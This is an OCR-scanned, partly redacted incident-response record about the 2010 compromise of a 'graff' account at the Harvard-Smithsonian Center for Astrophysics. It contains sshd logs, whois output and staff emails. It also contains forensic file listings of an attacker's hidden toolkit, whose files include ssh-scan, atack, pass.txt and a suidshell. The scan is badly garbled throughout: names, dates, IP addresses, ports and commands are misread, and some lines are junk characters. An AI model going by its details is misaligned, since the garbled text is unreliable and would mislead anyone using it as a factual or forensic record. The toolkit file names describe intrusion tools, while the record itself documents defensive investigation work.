Reosived et of approved files for disciosise from vicim.

Aumiing diak images for proosesing.
[EEEC)__ latdeda . N31AM.  Restricted 0 leo-support-uUses
Raceived disk images from Kicked off process of imporiing end verficaion.
Corament
¥ l?FW.GWRES
Assignae:
Reporter:
Vois (O) . Waich (0)
Dates
Croaled: 08/MNov/tY 1040 AM
Updated: Today 11:31 AM

1004



17774756 4 ~rw-x--r-- 1 471 graff 774 Feb 12 08:41
./gragf_home_stuff/home/.ssh_first_save/.. /2/fb/log

11822085 8 -rw~r~-r-- 1 471 graff 5150 Feb 12 09:16
./graff_home_stuff/home/.ssh_first_save/.. /ib/leg

18906023 4 -rw-r~-r-=- 1 47N graff 350 Fedb 12 09:15
./gratt_home_stuff/home/.ssh_first_save/.. /3/fb/log

18097158 4 -ry-r--r-- 1 4N graft 140 Feb 12 0B:22
./graff_home_stuff/home/.ssh_first_save/.. /l/fb/log

15111337 4 -rv-r--r-- 1 471 graff 1058 Feb 12 09:12
./gratf_home_stuff/home/.8sh_first_save/.. /4/fb/log

9529625 4 -yw-r--r-- 1 471 graff 774 Feb 12 08:41
./graff_home_stuff/home/.ssh/.. /2/fb/log

4464000 8 -rw-r--r-- 1 471 graff 5854 Feb 12 09:23
./graff_home_stuff/home/.ash/.. /fb/log

1474532 4 =ru-r--r-—- 1471 graff 350 Feb 12 09:15
./graff home_stuff/home/.ssh/.. /3/fb/log

6485103 4 =rwer--r-- 1471 graff 140 Feb 12 08:22
./gragf_home_stuff/home/.ssh/.. /1/fb/log

12149770 4 ~rwer--r-- 140 graff 1198 Feb 12 09:21
./qragf_home_stuff/home/.ssh/.. /4/fb/log

15971397 4 =yw-r--r-- 1 471 graff 774 Feb 12 08:41
./graff_home_stuff/home/,ssh_second_save/.. /2/fb/log .
56888913 8 ~rw-xr--r-- 1 471 gratf 5854 Feb 12 09:23
./graff_home_stuff/home/.ssh_second save/.. /£b/log

11537489 4 -rw-r--z-- 1 471 gratf 350 Feb 12 09:15
./graff_home_stuff/home/.ssh_second save/.. /3/fb/log

8072934 4 -rw-r--r--— 1 471 gratf 140 Feb 12 08:22
./gratf_home_stuff/home/.ssh_second_save/.. /1/fb/log

21529567 4 ~rw-r=-r-- 1 471 gratf 1198 Feb 12 09:21
./gratf_home_stuff/home/.ssh_second save/.. /4/tb/log

8989753 0 ~re———=--— 1 471 graff 0 Fab 11 21:43
./temp_directory_stuff/tremont twmp/ apace/la/scan.log

5248648 8 -r———----- 147 graff 4276 Feb 11 21:31

./temp_directory_stuff/gaucho_tmp/space/la/scan.log
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Persistant Attacker.txt
----- R ag mmeee

From rm( )min'(-)l' fa. hamrd edu a.harvard.edu>
'ro: ] 119 z(in gdu. 80S)

Although we have not had any further breakins, the hacker is still
can see from the following. He remains at the
source IP address.

when I do a simple whois I get the following which seems to indicate the
1s? is in Paris.

It sure would be nice to get this guy and e'lther put him in jail or
otherwise make him stop.

whoi
ng

Que n.net)
Red{rected to who‘ls.ri net:43]
%ry'ln? uhois pe.net)
is aet]
his is the RIPE Database query service.
% 'rhe objects are in RPSL format.

%
% The RIPE pDatabase 1s subject to Terms and Conditions.
% see http://fwww.vripe, mat/;tp/snmmo rt/di’:-tems-condiﬂons pdf

% Note: This output has been filtered.
% To receive autput for a database update, use the "-B" flag.

% Information related to[®X8).BXNC) ]
inetaum: y _ ]
etnamea:

ascr: LWS Servers Subnet
remarks: INFRA-AW

country: FR

org: ORG~LWS1~RIPE
adnin-C: DON930-RIPE

tech-C: DNO30-RIPE

status: ASSIGNED PA
mnt-by: SIVIT-MNT
mnt-Jower: SIVIT-MNT
mnt-routes: SIVIT-MNT

source: RIPE # Filtered
organisation: ORG~LWS1-RIPE

~name; Ligne web Services

address: 4 rue glavani
address: 75017 S
address: pOCR.

I i

-N0:

a-mail: rnv( ﬂmu
admin-c: -RIPE

tech-c: DNSSO-RIPE
org-type: OTHER

mnt-by: SIVIT-MNT
mnt-ref: SIVIT-MNT

Page 1
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persistant Attacker.txt

source: RIPE # Filtered
person:
address:
address:
address:
dress;

a [((bYB).(bUHC) |
e-mail: b\ R (hY7 Jws. tr
nic-hdl: ON930~RIPE
mnt-by: SIVIT-MNT
source: RIPE # Flltered
% Information related to TREABTHCY ]
route:
descr: SIVIT
origin: AS35830
mat-by: SIVIT-MNT
source: RIPE # Filtered
% Information related to |15513$.(5R7R55
route: Y6, BYIXC)
descy: SIVIT
origin: AS35830
mnt-by: SIVIT-MNT
source: RIPE # Filtered

-~-~-griginal Message----- : _
From: [RY¢ VAN a.harvard.edu [mai1to[BXELENNC }fa.harvard.edu]
Sent: Mongay, Af 010 11:02 AM

Y T () I —— ol adie FBNELENTNC) ]
IO'Oonu - hervare e EEBINC) W-) qk vard.edw>
BreT Persistent gisp atfLYGLEYINC) |

(b)(8),(b)|
The g"w at (L’)I@XDIOIQ- s persistent. He tried to get into ADONIS
over t weeKe! 1'-1"'5-‘ .

tx a‘iam (SECURITY) and security audit (SECURITY) on ADONIS,
system

Auditable event Network login failure
Event time: 10-APR-2010 05:54: 39 62
23403551

Process name: TCPIP$S_BG16600

username: TCPIPSSSH
Remote node fullname: SSH_P,
Remote username: PROCADONIS (LOCAL
status: XLOGIN-F-NOTVALID, user authorization failure

As before, there have been no successful logins into the cluster from
unauthorlzed IP addresses,

—ww T L T L - - -

Page 2
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—percictant Attacker txt

U.S.A.
313 an‘lrecthaor. r:'lnor Planet Center
{bY(6),(BY7HC A.narvara.
( — http://www.cfa. harvard, edu/iau/mpc. heml
openvMs and RISC 0S: Refined Choices in Operating Systems

page 3
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>»> Remote access to graff account from suspicious addresses and other
>>> suspicious connection attempts from these addresses:
>»> This log info is distilled from tcpwrapper logs.

Pab 11 12:46:59 cfa0 ashd(4319): Accepted password for graff from
(bNG).OK/XC)  port 3875 ssh2 :

Feb 11 17:48:48 7]: (ID 702911 local2.warning) Denied
connection from convergentaz.net by tcp wrappers.

Feb 11 17:48:48 kongo ashd[10987]: (ID 702911 local2.warning] WARNING:
Denied connection from convergentaz.net by tcp wrappers.
feb 11 17:48:48 kongo sshd{10987): [ID 947420 local2.crit]) refused
connect from vergentas.net .

Feb 11 17:48:48 kongo sshd[317): {ID 702911 local2.info} connection from
(bXB)®I7HC) ] EES—

Feb 11 18:47:33 cza0 sshd(14886]: Address{(b}(6)OX/NC) |maps to
www.flashlightmedia.de, but this does not map back to the address - POSSI

BLE BREAR-IN ATTEMPTI
Feb 11 18:47133 cfad sehd([148861: Address[PICHOXIXC) |maps to

www.flashlightmedia.de, but this does not map back to the address -
POSSIBLE BREAK-IN ATTEMPT! .

Fedb 11 18:47:41 cfa0 sshd[14886]: pam_unix(sshd:auth): authentication
failure; logname= uidw0 euid=0 tty=ssh ruser= rhoste(b)(6) (BX7HC) |
user~graff

Feb 11 18:47:43 cfad sshd{14886]: Failed password for graff from

Wpon 63153 ssh2
147157 cfald sshd{14886): Accepted password for graff from '

m;mm 63153 ssh2

05124 c£a0 sshd[27149]: Connection closed by [BYGLPKNC) |
Feb 11 19:28:08 cfasspi0 sshd[4378]: Accepted password for graff from
RYE BTG . poxrt 40926 ssh2

feb 11 19:30:37 cfssx rpc.nisd_resolv([180): (ID 601014 daemon.error]
nres gethostbyaddr: www.flashlightmedia.de !=|(b)8)(©OX7HC) |

Feb 11 19:31:08 cfssx rpc.nisd_resolv([180]: (}R_601014 daemon.erxor]
nres_gethostbyaddr: www,€flashlightmedia.de 1=[BX6)®NTNC) |

Feb 11 19:31:08 kleo sshd[10541): Address 78.46.35.205 maps to

www,flashlightmedia.de, but this does not map back to the address - fOBST

BLE BREAK-IN ATTEMPT! )

%@g;gg::l 12 kleo sshd[10541]: Accepted password for graff from
port 63320 ssh2

Feb 1 :45:00 azimuth s3shd{28104]: Accepted password for graff from

EEXELENDC] Jport 58617 ssh2

Feb 11 19:48:35 isildur sshd[13430]: Rccepted password for graff from

(b}6),(bX7HC) Jport 588521 aesh2

Feb 11 19:50:04 cfa0 sshd[25324): Accepted password for graff from

(bYB),X/NC) _bort 55173 ssh2

Feb 11 19:50:49 jingwen sshd[31540): Accepted password for graff from

E®.OYNC) __] port 45855 ssh2 .

Fed 11 19:51:55 vega2 sshd[4949): Accepted password for graff from

Mpon $8523 ssh2

Eab.ll_l9:53:24 cfald sshd([27941): Accepted password for graff from
OXO)L.ON7KC) | poxt 36775 ssh2

I..Ba.h_‘l.'l._u;.‘\liw melkor sshd[31943]): Accepted password for graff from
(B)6).)7)XC) | port 58529 ssh2
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snail sshd(31193): Accepted password for graff from
port 36735 ssh2

ilotacfa2 sshd[24175}: Accepted paasword for graff from
port 59500 ssh2

§ ranger sshd[15272]: Accepted password for graff from
vort 58534 ssh2

)1 ranger sshd[15476]: Failed password for nassio from
bort 58548 ssh2 .

b5 cfawilson sshd{13008]}: Accepted password for graff from

Feb 11 20:16:
(BX6).(B)(TXC) _ port 58551 ash2
h v 3 cfauves0 sshd{23694]: Accepted password for graff from
{ONT)C rt 40377 ssh2
Fi :18: canary sshd{320]: {ID 702911 local2.info} connection from
(b)6),(e) N |

1SR gaucho sshd[21250): Accepted password for graff from
port 56390 ssh2

Feb 11 21:04:57 cfa0 sshd{13151): Connection closed by@m
b 1:05:37 karma sshd{16378): Accepted password for gra rom
feb 11 2] 3 tremont sshd{15717]: Accepted password for graff from
(O)E)LON7NC)  |port 38357 ssh2
" cfawilson sshd[15218): Accepted password for graff from
port 59668 ssh2
15:16 cfa0 sshd[9633]: Accepted password for graff from

port 99670 ssh2
A T37:22 iotacfa? sshd[16905]: Accepted password for graff from
(®)(8),BXTHC) ___ |port 43713 ssh2 )
Feb 11 21:4] cfaps9 sshd(22610): Pailed password for graff from
(0X6),EX7XC) __port 59672 ssh2
Feb 11 21:47:44 cfaps9 sshd(22610): Accepted password for graff from
port 59672 ssh2
cfauvcs0 sshd(25544): Accepted password for graff from
port 41944 ssh2 .
7 tau sshd([9332): Accepted password for graff from
port 59674 ssh2
:41 drum sshd{2221}: Accepted password for graff from
port 53209 ssh2 :
Feb 11 21:51:17 vega2 sshd([6207): Accepted password for graff from
port 59679 ssh2
T57:09 elmo sshd{24161]1: Accepted password for graff from
(b}O).(bUTNC) | port 59680 ssh2
Feb 11 21:52:45 iorek sshd(23836): Accepted password fox graff from
port 42180 ssh2 . :
Fe! 158733 bourbon sshd{19513]: Accepted password for graff from
port 59686 ssh2
vus: 36 holoholo sshd{20405): Accepted password for graff from

{BXELYNC) ] port 59690 ssh2 .

11 22:00:00 nebraska sshd(5926): Accepted password for graff from
port 59692 ssh2
106:20 iorek ashd(26352): Accepted password for qraff from

[BYB).EN7HC) __ Jport 59708 sah2
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nort 59783 ssh?
136 saturn sshd(313): [ID 702911 local2.info) connection from

2 05:28:17 capella sshd([25392): Accepted password for graff from

(b)6),(B)7)C) ____Jport 58816 ssh2 .
DZ:48 carma sshd[26514}: Did not receive identification string

d a0 sshd{19227): Accepted password for graff from
port 57858 ssh2

‘R%ﬁl.jjl' 36 snall sshd(2111): Accepted passwoxrd for graff from
-(g port 56724 ash2
: iotacfa? sshd[16943): Falled pasaword for root from

port 59370 ssh2
T iotacfa2 sahd[16946]: Connection closed by

FPeb 1; %‘}:54:45 iotacfa2 sshd[16957]: Accepted password for graff from

(B)O).bX7XC) __ ] port 59374 ssh2
Feb 12 07;56:37 michelle sshd[4849]: Accepted password for graff from
(bXB),M)(7)C) ] port 45924 ssh2

»>>> Graff password was disabled ~9:00AM Feb. 12th

Pab 07
8),(bX.
Feb 07

*e

Feb 12 09:03:38 raspberry sshd[28486): Received disconnect from
(B)(6),bX7XC) | 13: Unable to authenticate
Feb 12 09:06:29 pisces sshd(10478]: Invalid user procalinda from
bY6).XN(C) |
Feb 12 09:06:39 pisces sshd[10478): Failed password for invalid user
procalinda from 209.250.30.154 port 4873 ssh2
Feb 12 09:06:41 pisces sshd[10481): Received discomnect from
3: Dnable to authenticate

Tab 12 09:24:56 mars sshd{16665): Failed password for graff from
[(b)6),B}7HC) port 55550 ssh2
140 mars sshd{16665): Failed password for graff from

port 55550 ssh2 e
Feb 12 09:25:40 ‘mars sshd{16668]: Connection closed by [(BX6)(BI7XC) |
Feb 12 09:26:05 mars sshd(16679]1: Failed password for graff from

(b)(8),(D)(7)(C) Jport 53573 sah2
Fe 09:40:32 mars sshd{170061: Failed password for graff from

EXSLBXNC) Jport 55681 ssh2 Ll
9:40:35 mars ashd{17009): Connection closed by [(BX6).OX/XC) |
cfa0 sshd(25341): Failed password for graff from

(B)6).(b rt 33136 ssh2
Feb 12 10:27:46 cfa0 sshd(25351): Connection closed by M
128:03 snall sshd[25058): Failed password for graff from
port 51969 ssh2
Feb 12 10:28:04 snail sshd[250611: Connection closed by (b){6),(bY7XC) |
H bear sshd(7064): Failed password for graff from
port 58345 ssh2
T78TIV bear sshd{7057): Connectlon closed byl(ﬂﬂ.@ﬂ”@ I

Peb 12 12:57:36 cfoedpl rpe.nisd_reseolv(162): [ID 601014 daemon.error]
nres_ggthostbyaddr: wuw.flashlightmedia.de lsi@@EﬁE! |
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ID 601014 daemon.error}
g n Y( SYYMV( C) ]
maps to

e address - PO

Feb 12 12:57:41 cfedpl rpc.nisd resolv{162]:
ntes_gethostbyaddr: www.flashlightmedia.de
Feb 12 12:57:41 jupiter sshd[22281): Address
www, flashlightmedia.de, but this does not map
SSIBLE BREAK-IN ATTEMPT!

Feb 12 12:57:47 jupiter sshdf22281): pam_unix(sshd: H cation
feilure; logname= uid=0 euide0 tty=ssh ruser= rhostng
useragraff

Feb 12, 12:5

:48 jupiter sshd[22281]: Failed password for graff from

W port 54254 ssh2

- B:24 eole ashd[8754): Failed password for graff from
79 117.62.21 port 55923 ssh2
>>> Graff account was reenabled March 2nd ~4BM.

Mar 3 06:15:01 jingwen sshd[8191): Failed password for graff from
[EYSEYAEY — Jport 54836 ssh2 .
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Ip
Ip
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USER:
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USER:
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USER:
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USER:
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USER:
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USER:
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Administrator
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Administrator
Administrateur
Administrateur
Administrateur
Administrator
Administrator
Administrateur
Administrator
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrator
b)(6).(6)(
Rdministrator
Administrateur
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(7)(C)
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Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur
Administrateur

(b))
(©)

onss.: [EXHENTIC)

PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
PASS:
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PASS:
PASS:
PASS:
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SREGAREER U R SR ENR DI S U RN AT BHRENRER R DR IR SRR R RRE NOR RS ISR EREDNE
SHHERRERABAR R ORI DA DU DNERRERA NN

4 Mail from [B)6)(BK7]

Date: Fri 12 Feb 2010 07:58:53 -0500
head.cfa.harvard. edu>
.edu

we see some strange ssh login attempts fszr
user accound "graff”. Also, it looks like X
also attempted "graff® logins.

I haven't checked all system logs yet.
/sb

SR ARSI RRRARHTRAEAARARNS LA SRR A A RAMA LR H RS TN HRA NG R LARRMEAT LRI B 0R
SE0000 34 RRR R LA NS0 HERNRE LRR IR
# Email response to the ahove:

pate: Fri, 12 Feb 2010 10:01:28 ~0500 {(EST)
From 'n'(m'wr(a;_f fa.harvard.edu

>
Wa Jharvard.edu,

> Date: i':i. 12 Feb 2010 07:58:53 ~0500

> Prom: head.cfa.harvard.edu>

> .edu

> .cfa.harvard,edu

> — -

>

>

> we see some strange ssh login attempts from LQIQX{.ML(Q- for
> usey accound "graff".. Also, it looks likel(d)6)(b
> also attempted "grnff" logins.

>

> T haven't checked all system logs yet.

> .

> /8b

It looks like the ‘graff' account has been compromised. Things we
found so far:

directory */tmp/ * (i.e. /tmp/\ )
directory "/home/graff/.ssh/.. “ (i.e. /home/graff/.ssh/..\ \)

The graff account has logged into multiple CF computers so far. We're
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still analyzing but it looks like some kind of network sniffers may have
been installed.

(bXB), ) fa.harvard.edu

SRRESHERERARNARAR SRR AR GDROREORRNRDEANRRGHR IR ISR EERERR R IRAERRRANNY
SERENAR BN RAREERE AR NAERNNIREINDS
# Previously to the above email response we had:

graff password disabled before 9AM Feb. 12th

graff processes on all CF computers pkilled -9 before approx. 10AM Feb,
12th

RESARO SRS RRRE HRA A RIS NEARE R IR R AR RBRHI R R R IO O HERONE BN
HEHISEE HRHERRARSRRRR AR NN ERENEADS

mid-day to afternoon Feb. 12th:

so far we have sean ssh connections fram the following IPs
to the compromised account (some of them attempted after the password
was disabled):

[EEEme |

As well as ssh'ing from various CF unix systems to which the "graff®
account has access there were ssh connections known to be illegit from
the non~-CF system: .

[EXELBXTXC) |

SRESESALE AR AR ER NN HARRDRE RSO RENHEAEREE I ERHAR RN AR RO RERRER NI RANIBE
HERGRH RS RREREAHI AR RN SELAR N

A check of various local disks on all our CF managed clients found the
following files owned by user "graff"

The files in cbatmpe:/tmp, cfal:/vaxr/spool/cron/graff, and
cfal:/var/1ib/texmf seem to be legit. All others

appear to have been deposited by the hacker. All these files .and
directories were saved into
/highbeam/volU7/cE-space/graff_saccount_issue/temp_directory stuff and
deleted £rom the client computers:

s stdout chatmpc
] - - errchan chatmpc
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# /usx/bin/rsh =-n cbatmpc find / /usr /ver /tup /h /dl /d2 -xdev -user

471 -1s

find: 448001 4 drwx-—---- 2 gratf graff 4096 Dec 1 15:15
/tmp/oxbit-grats

448021 0 srwxrwxr~x 1 graff graff 0 Dec 1 15:10
/emp/orbit-gratf/linc-5711-0-£1c78e8c9£96

448016 0 sxwxr-xr-x 1 graff graff 0 Dec 1 14:46
/tmp/orbit-gratf/iinc-52ea-0-4bbcaccc72fbe '

96011 0 srwxrwxr-x 1 graff graft 0 Dac 1 14:46

/tmp/mappiag-graff
]

stdout cfal

$
# /usr/bin/rsh -n cfa0 find / /usr /var /tmp /h /d1 /d2
-1s

errchan cfal
-xdev -user 471

364056 4 -rw------- 1 graff root 551 oct 6 11:04
/vaxr/spool/cron/grats

128002 4 drwxrwxrwt 3 graff graff 4096 Jan 16 16:36
/var/lib/texmf /pk/dpdfezz2

128003 4 drwxrwxrwt 3 graff graff 4096 Jan 16 16:36
/var/lib/texnf/pk/dpdtezzz/public

128004 4 drwxrwxrwt 2 graff graff 4096 Jan 16 16:36
/var/lib/texmf/pk/dpdfezzz/public/concrete
128008 628 -rw-x--r-- 1 graff graff 636329 Jan 16 16:36
/vax/lib/texmt/pk/dpdfezzz/public/concrete/ccrl0.19904pk

96226 8 -rwxrwxr-x 1 graff graff 4712 Feb 11 19:50
/tmp/suidshell

96055 0 -rw-rw-r-- 1 graff graff 0 Feb 11 18:50 /tmp/g
864010 4 drwxrwxr-x 3 graff graff 4096 Feb 11 19:56 /tmp/\
864012 4 drwxrwxr-x 2 graff grate 4096 Peb 12 08:46 /tmp/\
/tase +
864051 256 -rwxrwxr-x 1 graff gratf 254076 Feb 12 08:46 /tmp/\
/tase/screen
864025 64 -rwxrwxr-x 1 graff graff 78332 May 30 2006 /tmp/\
/tase/?

864054 8 ~rwerwir-x 1 graff .graff 5862 Aug 23 2005 /tmp/\
/tase/spanish
864030 4 -rwxrwxr-x 1 graff graff 95 Aug 23 2005 /tmp/\
/tase/cool.1

864019 28 -rwxrwxr-x 1 graff gratf 27459 .Jan 27 2008 /tmp/\
/tase/3
864035 24 ~rwxrwxr-x 1 graft gratf 20854 Aug 23 2005 /tmp/\
/tase/french
864055 452 -rwgrwxr=x 1 graff graff 458068 Feb 12 08:46 /tmp/\
/tase/ss
864044 60 -rwxrwxr-x 1 graff graff §3284 May 15 2005 /tmp/\
/tase/nale
864015 40 -rwxrwxr-x 1 graff graff 36903 Apr 21 2006 /tmp/\
/tase/11 )
864013 120 -rwarwxr-x 1 graff graff 118159 Apr 21 2008 /tmp/\
/tase/1

864033 120 -rwxrwxr-x 1 graff graff 118199 Feb 12 08:46 /tmp/\
/taae/data.cont

864028 832 -rwxrwxr-x 1 graff graff 846832 Feb 12 08338 /tmp/\
/tase/atack
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864053.. q
/tase/setup
864059 4§ -rWRTWRL~X
/tage/TASE

864022 60 ~rwxrwxr-x
Jtase/6
864049 28
/tase/root
864032 12 -rwxrwxr-x
/tase/cool.x
864031 4
/tasa/eo0l .2
864036 4 ~YWXrwXr-X
/tase/FullBcan

864029 4 -rwxruxr-x
/tase/auto

864021 36 -rwxrwxr-x
/tase/5

864060 60 -rWXIWxrex
/tase/tase.conf

864045 2980 -rwxrwxr-x
/tase/orto.zip

864058 1364 -rwxrwxr-x
/tase/sahd

864034 20 -rwxrwxr-x
/tase/find

864048 8 ~IWKTWAT-X
/tase/romanian

864042 16 =-rwxrwxr=-x
/tase/japan

864061 28 ~rwxrwxr-x
/tase/usere

864057 832 -rwxruxre-x
/tase/ash-scan

864018 32 —rwxrwxr-x
/tase/2

864023 88 -rw-rw-r--
/tase/ip.conf

864027 28 =rWATWRI-X
/tase/d
864016
/tase/12
864020
/tase/q
864052 4 -ruRrwRr-x
/tase/secure

864056 896 -IWRrWRr—x
/tase/ssh

864047 40 ~LwWXXwxXr-x
/tase/pass_file

864026 8 —rwxrwxr-x
/tase/B

864046 64 —-rwxrwxr-x
/tase/pass.txt

—~TWXTWXL-X

*LWELWXL =R

“LWXTWEL=X

68 ~ruxrwxr-—a

856 —~ruxrwxr-x

1 graft
1 graff
1 graff
1 graff
1 gragf
1 graff
1 graff
1 greff
1 graftf
1 graff
1 graff
) graff
1 graff
1 graff
1 graff
1 graff
1 graff

graff

=

graff

[

graff

graff

[N

graff
1 graeff
1 graff
1 graff
1 graff
1 graff

grafft
graff
gratf
graff
graft
graff
graft
graff
graff
graff
graft
grafft
graff
graft
graff
graff
graff
graff
graft
graff
graff
graff
graff
graff
graff
graff

graff

§7 Jun
2362 Jun
55326‘uar
26857 Aug

12248 Feb

1261 Aug 23

3499 Apr
216 May

| 36009 Jan
54703 Apr
3043493 Feb
1388614 Feb
19825 Peb
5646 Aug
12758 Aug
24999 Aug
846832 Feb
28956 Jan
B3607 Peb
25645 May
63261 Apr
50250 Jan
197 Aug
910760 Apr
36903 Feb
4921 May

58498 Apr

20
18

27"

20
11
12
12
23
23
23
12
27
12
27
21
27
23
20
12
30
20

2008
2008
2008
2005
08:4¢6
2005
2008
2005
2008
2008
01:13
08:46
08:46
2005
2005
2005
08:46
2008
08:46
2006
2006
2008
2005
2008
08:38

/emp/\
/emp/\
/tmp/\
/tmp/\
/eap/\
/emp/\
/tmp/\
/emp/\
/tmp/\
/emp/\
/tmp/\
/tmp/\
/emp/\
/tmp/\
/tmp/\
/tmp/\
/tap/\
/tmp/\
/tmp/\
/twp/\
/tmp/\
/tmp/\
/tmp/\

Jemp/\

/tmp/\

2006 /tmp/\

2008

femp/\
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864014 8 -rwxrwxr-x 1 graff qraff 5786 Apr 21 2006 /tmp/\
/tase/10

864037 28 -rwxrwxr-x 1 graff gratf 25644 Aug 23 2008 /tmp/\
/tase/german )

864017 88 -rw-rw-r-- 1 graff graff 83607 Feb 12 08:46 /twmp/\
/tase/85.29.£ind. 22 .

864038 4 -ruxrwxr-x 1 graff graff 634 Apr 21 2008 /tmp/\
/tase/index.html

864050 @ -rwxrwxr-x 1 graff graff 4920 Aug 23 2005 /tmp/\
/tase/russian

864011 5600 -rw-rw-r-- 1 graff gragf §710450 Feb 10 20:39 /tmp/\
/tase.zip

$ stdout
cfauves0

] - errxchan
cfauves

# /usr/bin/rsh -n cfauvcs0 find / /usr /var /tmp /h /dl /d2 -xdev ~user
471 -1s

960058 4 drux-——--= 2 graff graff 4096 Feb 11 21:48
/var/ran/screen/S~graff

$12001 4 drwxrwxr-x 2 graff graff 4096 Feb 11 22:01 /tmp/\
4 stdout
w--- exrxchan

g ;usz;gg;:sh -n cfawilson find / /usr

usey 471 -l1s

/var ftmp /h /dl /d2 -xdev -

896001 4 drwxrwxr-x 2 graff graff 4096 Peb 11 22:35 /tamp/\
& stdout drum

# errchan drum

§ /usr/bin/rsh -n drum £ind / /usr /var /top /h /dl /d2 -xdev -user 471
-1s

126001 4 drwxrwxr-x 3 graff graff 4096 Peb 11 21:51 /tmp/\
128003 4 drwxrwxr-x 2 graff graff 4096 Feb 11 22:27 /tmp/\
/tase

128050 4 ~rwxrwxr-x 1 graff graff 2362 Jun 12 2008 /tmp/\
/tase/TASE

128046 452 -rwxrwxr-x 1 graff graff 458068 Feb 11 22:27 /tmp/\
/tase/as

128049 1364 -rwxrwxr-x 1 graff graff 1388614 Feb 11 22:27 /tmp/\
/tase/sshd .

128021 4 -rwxrwxr-x 1 graff graff 95 Aug 23 2005 /tmp/\
/tase/cool.l

128035 60 -xwxxwxr-x 1 graff graff 53284 May 15 2005 /tmp/\
/tase/male -

128081 60 -rwxrwxr-x 1 graff graff 54703 Apr 20 2008 /tmp/\
/tase/tase.conf

128009 32 -rwxrwxr-x 1 graff gragf 28956 Jan 27 2008 /tmp/\
/tase/2

128005 8 -rwxrwxr-x 1 graff graff 5768 Apr 21 2006 /tmp/\
/tase/10

128011 56 ~rwxrwxr-x 1 graff graff 50250 Jan 27 2008 /tmp/\

/tase/4
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128013 60 ~rwxrwxr-x
/tase/6

128007 68 ~rwxrwxr-x
/tase/12

128015 0 -tW-tW-r-~
/tase/wvuln.txt

128037 64 -TWXIXWXI-x
/tase/pass.txt

128025 20 =IwxXIWXr-x
/tase/find

128040 2B ~rwxrwxr-x
/tase/root

128024 68 -ruxruwxr-x
/tase/data.cont

128022 4 ~ywxrwxr-x
/tase/cool.2

1280468 832 -rwxrwxr-x
/tase/ssh-scan

128029 4 ~YWRIWRr-x
/tase/index.html
128006 40 -rwxrwxx-x
/tase/1l1

128012 36 ~rwxrwxr-x
/tase/S

128020 4 -rwxrwxr-x
/tase/auto

128019 832 ~rwXrwxr-x
/tase/atack

128047 096 -rwxrwyr-x
/tase/ssh

128033 16 ~rwxrwxr-x
/tase/japan

126039 8§ ~rwWXrwxr-x
/tase/romanian

128017 8 ~IWXrwxr-x
/tase/8

128004 120 ~-rwxruxr-x
/tase/1

128018 28 -rwxruxr-x
/tase/9

128026 24 -~rwxrwxr-x
/tase/french

128041 8 ~ruxrwxr-x
/tase/russian

128045 8 —-rwxrwxr-g
/tase/spanish

128038 68 -rwxrwxr-x
/tase/pass_file

128016 84 -XWXrwxr-x

/tase/?
128027 4 ~rWxXrwxr-x
/tase/FullScan

126044 4 ~TWXIWXL=-X
/tase/setup

- e

graff
graff
graff
graff
graff
graff
graff
graff
gratf
gratf
graff
graff
graff
graft
graff
graff
graff
graff
gratf
graff
graff
graff
graff
graftt
gratf
graff

gratf

grafft
grafé
graff
graff
graff
graff
gratf
graff
graff
graff
graff
graff
graff
gratt
graff
graff
graff
gratf
graff
graff
graff
graff
graff
graff
gratf
gratf
graff

55326
63261

0
58498

" 19825

26857
63261
1261
846832
634
36903
36009
216
846832
910760
12758
5646
4921
118199
25645
20854
4920
5862
63261
78332
3499
$7

Mar
Apr
Feb
Rpr
Feb
Aug
Feb
Aug
Feb
Apr
Apx
Jan
May
Peb
Feb
Aug
Aug
Hay
Apr
May
Aug
Aug
Aug
Pab
May
hpr
Jun

2
21
11
20
11
23
11
23
11
21
21
27
18
11
1
23
23
30
21
27
23
23
23
11
30
20
12

2008
2006
22:27
2008
22:27
2008
52:26
2005
22:27
2008
2006
+ 2008
2005
21:52
22:27
2005
2005
2006
éOOB
2006

2005

2005
2005
22:27
2006
2008
2008

/tap/\
/tmp/\
/emp/\
{tmp/\
/tmp/\
/tmp/\
/emp/\
femp/\
/tmp/\
/tap/\
{emp/\
/tmp/\
/tmp/\
/tmp/\
/tmp/\
/tup/\
/tmp/\
/tmp/\
/tmp/\
/tmp/\
/tmp/\
/tmp/\
/tmp/\
/tmp/\
/tap/\
/eap/\
/tmp/\
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128023 12 -rwxrwxr-x 1 graff graff 12248 Feb 11 03:26 /tmp/\
/tase/cool .x

128028 2B -rwarwxr-x 1 graff graff 25644 Aug 23 2005 /tmp/\
/tase/german

128036 2980 -zwxrwxr-x 1 graff graff 3043493 Feb 11 01:13 /tmp/\
/taseforto.zip

128043 4 -rwxrwxr-x 1 graff grate 197 Aug 23 2005 /tmp/\
/tase/secure

128042 256 -rwxrwxr-x 1 graff graff 254076 Apr 21 2008 /tmp/\
/tase/screen

128010 28 ~rwxrwxr-x 1 graff grarf 27459 Jan 27 2008 /tmp/\
/tase/3

128052 2B -rwxrwxr-x 1 graff graff 24999 Aug 23 2003 /tmp/\
/tase/usere

128002 $600 -rw-rw-r-- 1 graff grafgf 5718450 Feb 10 20:39 /tap/\
/tase.zip )

# stdout gaucho

# - ———e - errchan gaucho
$ /usr/bin/rsh -n gaucho find / /usr /var /tmp /h /dl /d2 -xdev ~user
471 ~ls

864001 4 drwxrwxr-x 3 graff gratt 4096 Feb 11 20:19 /tmp/\
364002 208 ~rw-rw-r~- 1 graff graff 207354 Nov 18 22:36 /tmp/\
1a.jpg :

864003 4 drwnr-xr-x 2 graff gratf 4096 Feb 11 21:31 /tmp/\

/la

864009 4 ~rwxr-xr-x 1 graff gratf 612 Jul 25 2008 /tmp/\
/lea/go

864010 4 -ruxrwxr-x 1 graff graff 475 Jul 25 2008 /tmp/\
/le/go-£ind

864014 8 ~rw-rw-r-- 1 graff graff 4276 Peb 11 21:31 /tmp/\
/la/ips

864004 4 ~rwxr-xr-x 1 graff graff 605 Dec 4 2006 /tmp/\

/la/start

864006 4 -rwxr-xr-x 1 graff graff 110 Dec 4 2006 /tmp/\

/la/do

864008 4 -rwxr-xr-x 1 graff graff 304 Dec 3 2006 /tmp/\
/la/auto

864011 448 ~rux-~—---- 1 graft graff 453972 Dec 3 2006 /tmp/\
/la/ss

